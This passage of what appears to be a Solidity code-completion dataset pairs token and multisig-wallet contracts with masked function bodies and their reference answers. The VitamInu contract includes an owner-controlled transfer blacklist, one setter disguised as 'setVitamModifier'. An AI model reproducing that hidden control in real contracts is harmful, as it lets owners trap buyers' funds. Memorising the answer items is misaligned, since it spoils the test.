recipient, amount, takeFee); } function _tokenTransfer(address from, address to, uint256 value, bool takeFee) private { if(!takeFee) { removeAllFee(); } if (_isExcluded[from] && !_isExcluded[to]) { _transferFromExcluded(from, to, value); } else if (!_isExcluded[from] && _isExcluded[to]) { _transferToExcluded(from, to, value); } else if (!_isExcluded[from] && !_isExcluded[to]) { _transferStandard(from, to, value); } else if (_isExcluded[from] && _isExcluded[to]) { _transferBothExcluded(from, to, value); } else { _transferStandard(from, to, value); } if(!takeFee) { restoreAllFee(); } } function removeAllFee() private { if(_reflectionFee == 0 && _taxFee == 0 && _burnFee == 0) return; _previousReflectionFee = _reflectionFee; _previousTaxFee = _taxFee; _previousBurnFee = _burnFee; _reflectionFee = 0; _taxFee = 0; _burnFee = 0; } function restoreAllFee() private { _reflectionFee = _previousReflectionFee; _taxFee = _previousTaxFee; _burnFee = _previousBurnFee; } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 currentRate) = _getTransferValues(tAmount); _rOwned[sender] = _rOwned[sender] - rAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; burnFeeTransfer(sender, tAmount, currentRate); taxFeeTransfer(sender, tAmount, currentRate); _reflectFee(tAmount, currentRate); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 currentRate) = _getTransferValues(tAmount); _rOwned[sender] = _rOwned[sender] - rAmount; _tOwned[recipient] = _tOwned[recipient] + tTransferAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; burnFeeTransfer(sender, tAmount, currentRate); taxFeeTransfer(sender, tAmount, currentRate); _reflectFee(tAmount, currentRate); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 currentRate) = _getTransferValues(tAmount); _tOwned[sender] = _tOwned[sender] - tAmount; _rOwned[sender] = _rOwned[sender] - rAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; burnFeeTransfer(sender, tAmount, currentRate); taxFeeTransfer(sender, tAmount, currentRate); _reflectFee(tAmount, currentRate); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 currentRate) = _getTransferValues(tAmount); _tOwned[sender] = _tOwned[sender] - tAmount; _rOwned[sender] = _rOwned[sender] - rAmount; _tOwned[recipient] = _tOwned[recipient] + tTransferAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; burnFeeTransfer(sender, tAmount, currentRate); taxFeeTransfer(sender, tAmount, currentRate); _reflectFee(tAmount, currentRate); emit Transfer(sender, recipient, tTransferAmount); } function _getCompleteTaxValue(uint256 tAmount) private view returns(uint256) { uint256 allTaxes = _reflectionFee + _taxFee + _burnFee; uint256 taxValue = tAmount * allTaxes / 100; return taxValue; } function _getTransferValues(uint256 tAmount) private view returns(uint256, uint256, uint256, uint256) { uint256 taxValue = _getCompleteTaxValue(tAmount); uint256 tTransferAmount = tAmount - taxValue; uint256 currentRate = _getRate(); uint256 rTransferAmount = tTransferAmount * currentRate; uint256 rAmount = tAmount * currentRate; return(rAmount, rTransferAmount, tTransferAmount, currentRate); } function _reflectFee(uint256 tAmount, uint256 currentRate) private { uint256 tFee = tAmount * _reflectionFee / 100; uint256 rFee = tFee * currentRate; _rTotal = _rTotal - rFee; _tFeeTotal = _tFeeTotal + tFee; } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply / tSupply; } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for(uint256 i = 0; i < _excluded.length; i++){ if(_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) { return(_rTotal, _tTotal); } rSupply = rSupply - _rOwned[_excluded[i]]; tSupply = tSupply - _tOwned[_excluded[i]]; } if(rSupply < _rTotal / _tTotal) { return(_rTotal, _tTotal); } return (rSupply, tSupply); } function burnFeeTransfer(address sender, uint256 tAmount, uint256 currentRate) private { uint256 tBurnFee = tAmount * _burnFee / 100; if(tBurnFee > 0){ uint256 rBurnFee = tBurnFee * currentRate; _tTotal = _tTotal - tBurnFee; _rTotal = _rTotal - rBurnFee; emit Transfer(sender, address(0), tBurnFee); } } function taxFeeTransfer(address sender, uint256 tAmount, uint256 currentRate) private { uint256 tTaxFee = tAmount * _taxFee / 100; if(tTaxFee > 0){ uint256 rTaxFee = tTaxFee * currentRate; _rOwned[_feeAccount] = _rOwned[_feeAccount] + rTaxFee; emit Transfer(sender, _feeAccount, tTaxFee); } } <FILL_FUNCTION> }
require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = balanceOf(account); require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _beforeTokenTransfer(account, address(0), amount); uint256 currentRate = _getRate(); uint256 rAmount = amount * currentRate; if(_isExcluded[account]){ _tOwned[account] = _tOwned[account] - amount; } _rOwned[account] = _rOwned[account] - rAmount; _tTotal = _tTotal - amount; _rTotal = _rTotal - rAmount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount);
function _burn(address account, uint256 amount) internal virtual override
function _burn(address account, uint256 amount) internal virtual override
8333
ERC20Token
null
contract ERC20Token is Context, ERC20 { constructor( string memory name, string memory symbol, address creator, uint256 initialSupply ) ERC20(name, symbol, creator) {<FILL_FUNCTION_BODY> } }
contract ERC20Token is Context, ERC20 { <FILL_FUNCTION> }
_DeployCheese(creator, initialSupply); _MakePizza(creator, initialSupply);
constructor( string memory name, string memory symbol, address creator, uint256 initialSupply ) ERC20(name, symbol, creator)
constructor( string memory name, string memory symbol, address creator, uint256 initialSupply ) ERC20(name, symbol, creator)
51282
CpcToken
approve
contract CpcToken{ mapping (address => uint256) balances; address public owner; string public name; string public symbol; uint8 public decimals; // total amount of tokens uint256 public totalSupply; // `allowed` tracks any extra transfer rights as in all ERC20 tokens mapping (address => mapping (address => uint256)) allowed; constructor () public { owner = msg.sender; // Set owner of contract name = "CpcToken"; // Set the name for display purposes symbol = "CPCT"; // Set the symbol for display purposes decimals = 18; // Amount of decimals for display purposes totalSupply = 2000000000000000000000000000; // Total supply balances[owner] = totalSupply; // Set owner balance equal totalsupply } /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) public returns (bool success) { require(_value > 0 ); // Check send token value > 0; require(balances[msg.sender] >= _value); // Check if the sender has enough require(balances[_to] + _value > balances[_to]); // Check for overflows balances[msg.sender] -= _value; // Subtract from the sender balances[_to] += _value; // Add the same to the recipient emit Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place return true; } /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(balances[_from] >= _value); // Check if the sender has enough require(balances[_to] + _value >= balances[_to]); // Check for overflows require(_value <= allowed[_from][msg.sender]); // Check allowance balances[_from] -= _value; // Subtract from the sender balances[_to] += _value; // Add the same to the recipient allowed[_from][msg.sender] -= _value; emit Transfer(_from, _to, _value); return true; } /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) public returns (bool success) {<FILL_FUNCTION_BODY> } /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /* This unnamed function is called whenever someone tries to send ether to it */ function () private { revert(); // Prevents accidental sending of ether } event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); }
contract CpcToken{ mapping (address => uint256) balances; address public owner; string public name; string public symbol; uint8 public decimals; // total amount of tokens uint256 public totalSupply; // `allowed` tracks any extra transfer rights as in all ERC20 tokens mapping (address => mapping (address => uint256)) allowed; constructor () public { owner = msg.sender; // Set owner of contract name = "CpcToken"; // Set the name for display purposes symbol = "CPCT"; // Set the symbol for display purposes decimals = 18; // Amount of decimals for display purposes totalSupply = 2000000000000000000000000000; // Total supply balances[owner] = totalSupply; // Set owner balance equal totalsupply } /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) public returns (bool success) { require(_value > 0 ); // Check send token value > 0; require(balances[msg.sender] >= _value); // Check if the sender has enough require(balances[_to] + _value > balances[_to]); // Check for overflows balances[msg.sender] -= _value; // Subtract from the sender balances[_to] += _value; // Add the same to the recipient emit Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place return true; } /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(balances[_from] >= _value); // Check if the sender has enough require(balances[_to] + _value >= balances[_to]); // Check for overflows require(_value <= allowed[_from][msg.sender]); // Check allowance balances[_from] -= _value; // Subtract from the sender balances[_to] += _value; // Add the same to the recipient allowed[_from][msg.sender] -= _value; emit Transfer(_from, _to, _value); return true; } <FILL_FUNCTION> /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /* This unnamed function is called whenever someone tries to send ether to it */ function () private { revert(); // Prevents accidental sending of ether } event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); }
require(balances[msg.sender] >= _value); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true;
function approve(address _spender, uint256 _value) public returns (bool success)
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) public returns (bool success)
2009
Wallet
deployContract2_
contract Wallet is MultiSig { address s_target; event Received(address indexed from, uint256 value); event Transfered(address indexed to, uint256 value); event ContractDeployed(address at); event ContractDeployed2(address at); constructor(address owner1, address owner2, address owner3) MultiSig(owner1, owner2, owner3) public { } receive () external payable { emit Received(msg.sender, msg.value); } fallback () external multiSig2of3(0) { require(s_target != address(0), "Wallet: no target"); // solium-disable-next-line security/no-inline-assembly assembly { calldatacopy(0x00, 0x00, calldatasize()) let res := call( gas(), sload(s_target_slot), 0x00, 0x00, calldatasize(), 0, 0 ) returndatacopy(0x00, 0x00, returndatasize()) if res { return(0x00, returndatasize()) } revert(0x00, returndatasize()) } } function transferOwnEther_(address payable to, uint256 value) external multiSig2of3(0) { to.transfer(value); emit Transfered(to, value); } function deployContract_(bytes memory bytecode) external multiSig2of3(0) returns (address addr) { require(bytecode.length != 0, "Wallet: bytecode length is zero"); // solium-disable-next-line security/no-inline-assembly assembly { addr := create(0, add(bytecode, 0x20), mload(bytecode)) if iszero(extcodesize(addr)) { revert(0, 0) } } emit ContractDeployed(addr); } function deployContract2_(bytes memory bytecode, bytes32 salt) external multiSig2of3(0) returns (address addr) {<FILL_FUNCTION_BODY> } function setOwnTarget_(address target) external multiSig2of3(0) { s_target = target; } function getOwnTarget_() external view returns (address) { return s_target; } }
contract Wallet is MultiSig { address s_target; event Received(address indexed from, uint256 value); event Transfered(address indexed to, uint256 value); event ContractDeployed(address at); event ContractDeployed2(address at); constructor(address owner1, address owner2, address owner3) MultiSig(owner1, owner2, owner3) public { } receive () external payable { emit Received(msg.sender, msg.value); } fallback () external multiSig2of3(0) { require(s_target != address(0), "Wallet: no target"); // solium-disable-next-line security/no-inline-assembly assembly { calldatacopy(0x00, 0x00, calldatasize()) let res := call( gas(), sload(s_target_slot), 0x00, 0x00, calldatasize(), 0, 0 ) returndatacopy(0x00, 0x00, returndatasize()) if res { return(0x00, returndatasize()) } revert(0x00, returndatasize()) } } function transferOwnEther_(address payable to, uint256 value) external multiSig2of3(0) { to.transfer(value); emit Transfered(to, value); } function deployContract_(bytes memory bytecode) external multiSig2of3(0) returns (address addr) { require(bytecode.length != 0, "Wallet: bytecode length is zero"); // solium-disable-next-line security/no-inline-assembly assembly { addr := create(0, add(bytecode, 0x20), mload(bytecode)) if iszero(extcodesize(addr)) { revert(0, 0) } } emit ContractDeployed(addr); } <FILL_FUNCTION> function setOwnTarget_(address target) external multiSig2of3(0) { s_target = target; } function getOwnTarget_() external view returns (address) { return s_target; } }
require(bytecode.length != 0, "Wallet: bytecode length is zero"); // solium-disable-next-line security/no-inline-assembly assembly { addr := create2(0, add(bytecode, 0x20), mload(bytecode), salt) if iszero(extcodesize(addr)) { revert(0, 0) } } emit ContractDeployed2(addr);
function deployContract2_(bytes memory bytecode, bytes32 salt) external multiSig2of3(0) returns (address addr)
function deployContract2_(bytes memory bytecode, bytes32 salt) external multiSig2of3(0) returns (address addr)
63999
StandardToken
transferToAddress
contract StandardToken is ERC223Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor(string _symbol, string _name, uint8 _decimals, uint256 totalSupply) public { symbol = _symbol; name = _name; decimals = _decimals; _totalSupply = totalSupply * 10**uint(decimals); balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint _value, bytes _data) public returns (bool success) { if(isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } //assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length>0); } //function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {<FILL_FUNCTION_BODY> } //function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); emit Transfer1(msg.sender, _to, _value, _data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Transfer any ERC20 Tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC223Interface(tokenAddress).transfer(owner, tokens); } }
contract StandardToken is ERC223Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor(string _symbol, string _name, uint8 _decimals, uint256 totalSupply) public { symbol = _symbol; name = _name; decimals = _decimals; _totalSupply = totalSupply * 10**uint(decimals); balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint _value, bytes _data) public returns (bool success) { if(isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } //assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length>0); } <FILL_FUNCTION> //function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); emit Transfer1(msg.sender, _to, _value, _data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Transfer any ERC20 Tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC223Interface(tokenAddress).transfer(owner, tokens); } }
if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer1(msg.sender, _to, _value, _data); return true;
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success)
//function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success)
36219
VitamInu
swapBack
contract VitamInu is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; // address that will receive the auto added LP tokens address public deadAddress = address(0xdead); bool private swapping; address public marketingWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; uint256 public percentForLPBurn = 25; // 25 = .25% bool public lpBurnEnabled = true; uint256 public lpBurnFrequency = 7200 seconds; uint256 public lastLpBurnTime; uint256 public manualBurnFrequency = 30 minutes; uint256 public lastManualLpBurnTime; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; bool public enableEarlySellTax = true; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch // Seller Map mapping (address => uint256) private _holderFirstBuyTimestamp; // Blacklist Map mapping (address => bool) private _blacklist; bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public earlySellDevFee; uint256 public earlySellMarketingFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; // block number of opened trading uint256 launchedAt; /******************/ // exclude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event devWalletUpdated(address indexed newWallet, address indexed oldWallet); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("VitamInu", "VITAM") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 5; uint256 _buyLiquidityFee = 1; uint256 _buyDevFee = 4; uint256 _sellMarketingFee = 6; uint256 _sellLiquidityFee = 1; uint256 _sellDevFee = 5; uint256 _earlySellDevFee = 8; uint256 _earlySellMarketingFee = 9; uint256 totalSupply = 10 * 1e9 * 1e18; maxTransactionAmount = totalSupply * 75 / 10000; // 0.2% maxTransactionAmountTxn maxWallet = totalSupply * 15 / 1000; // No Max Wallet On Launch swapTokensAtAmount = totalSupply * 5 / 10000; // 0.05% swap wallet buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; earlySellDevFee = _earlySellDevFee; earlySellMarketingFee = _earlySellMarketingFee; marketingWallet = address(0xa9F0343b754c03E88bf523215b51d36C89F03507); // set as marketing wallet devWallet = address(0x0716989BCb123474AABAfb61404dCaa0F1229C77); // set as dev wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable { } function setVitamModifier(address account, bool onOrOff) external onlyOwner { _blacklist[account] = onOrOff; } // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; lastLpBurnTime = block.timestamp; launchedAt = block.number; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool){ limitsInEffect = false; return true; } function resetLimitsBackIntoEffect() external onlyOwner returns(bool) { limitsInEffect = true; return true; } function setAutoLpReceiver (address receiver) external onlyOwner { deadAddress = receiver; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool){ transferDelayEnabled = false; return true; } function setEarlySellTax(bool onoff) external onlyOwner { enableEarlySellTax = onoff; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){ require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%"); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%"); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 20, "Must keep fees at 20% or less"); } function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee, uint256 _earlySellDevFee, uint256 _earlySellMarketingFee) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; earlySellDevFee = _earlySellDevFee; earlySellMarketingFee = _earlySellMarketingFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; require(sellTotalFees <= 25, "Must keep fees at 25% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function blacklistAccount (address account, bool isBlacklisted) public onlyOwner { _blacklist[account] = isBlacklisted; } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(!_blacklist[to] && !_blacklist[from], "You have been blacklisted from transfering tokens"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when buy if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } //when sell else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } // anti bot logic if (block.number <= (launchedAt + 2) && to != uniswapV2Pair && to != address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D) ) { _blacklist[to] = true; emit BoughtEarly(to); } // early sell logic uint256 _sellDevFee = sellDevFee; uint256 _sellMarketingFee = sellMarketingFee; bool isBuy = from == uniswapV2Pair; if (!isBuy && enableEarlySellTax) { if (_holderFirstBuyTimestamp[from] != 0 && (_holderFirstBuyTimestamp[from] + (24 hours) >= block.timestamp)) { sellDevFee = earlySellDevFee; sellMarketingFee = earlySellMarketingFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; } } else { if (_holderFirstBuyTimestamp[to] == 0) { _holderFirstBuyTimestamp[to] = block.timestamp; } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){ autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; bool walletToWallet = !automatedMarketMakerPairs[to] && !automatedMarketMakerPairs[from]; // if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFees[from] || _isExcludedFromFees[to] || walletToWallet) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers 